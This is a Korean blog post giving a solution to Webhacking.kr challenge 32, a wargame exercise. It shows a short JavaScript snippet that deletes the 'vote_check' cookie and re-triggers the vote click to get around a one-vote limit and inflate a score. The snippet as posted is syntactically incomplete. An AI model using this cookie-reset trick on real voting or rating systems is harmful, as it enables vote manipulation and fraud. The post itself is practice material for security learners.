관리 메뉴

Hax0r

[풀이] Webhacking.kr 32번 문제 본문

0x00 개발/Security

[풀이] Webhacking.kr 32번 문제

영준이 2017.05.11 16:43

32 번 문제는 150 스코어의 문제입니다.

문제를 보면, 100명의 리스트가 존재합니다.

하단에 입장에 버튼이있는데 해당 버튼을 누르면 100명의 리스트에 제 계정이 추가됩니다.

이후 본인 계정에 클릭을하게되면 vote up 이 됩니다.
이후 스코어 1점이 추가되는데,  추가 이후에 추천을 누르면 `no` 메세지와 함께 추천이 안됩니다.

요소를 보니 클릭 시, 아래와 같은 이벤트가 발생합니다.
location.href='?hit='본인 계정'


추천과 동시에 `vote_check` 쿠키가 하나 생성됩니다.

보아하니 쿠키로 구분하여 추천 여부를 판별하는 것 같습니다.

일단 저는 아래와 같이 간단하게 스크립트를 하나 작성했습니다.
코드의 내용은  `vote_check` 라는 쿠키를 지운 후, 추천 요청을 하는 것 입니다.

특성 상, 이벤트가 발생하면 페이지가 새로 로드되기 때문에 저는 사용하고있는 크롬 확장 프로그램을 통하여 해당 스크립트를 기입해 문제를 해결 했습니다.


하단에 소스 코드를 기재했습니다.

코드 상 셀렉트 부분을 참고하시면

onclick^="location.href='+"'?hit=hax0r'"+'" 이라 되어있는데, 여기서 hax0r 을 보인 계정으로 치환하시면 됩니다.

hax0r 은 제 계정이에여.





var delCookie = function(name) {
    document.cookie = name + '=;expires=Thu, 01 Jan 1970 00:00:01 GMT;';
};
/* Node Select 를 위해 Jquery 비동기 로드 */
(function () {

    function loadScript(url, callback) {

        var script = document.createElement("script")
        script.type = "text/javascript";

        if (script.readyState) { //IE
            script.onreadystatechange = function () {
                if (script.readyState == "loaded" || script.readyState == "complete") {
                    script.onreadystatechange = null;
                    callback();
                }
            };
        } else { //Others
            script.onload = function () {
                callback();
            };
        }

        script.src = url;
        document.getElementsByTagName("head")[0].appendChild(script);
    }

    loadScript("https://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js", function () {

             console.log('jquery loaded');
            /* 계정 vote */
var voteUpMe = function(e) {
  delCookie('vote_check');
  $('tr[onclick^="location.href='+"'?hit=hax0r'"+'"]').trigger('click');

    });
})();









저작자 표시 비영리 변경 금지
신고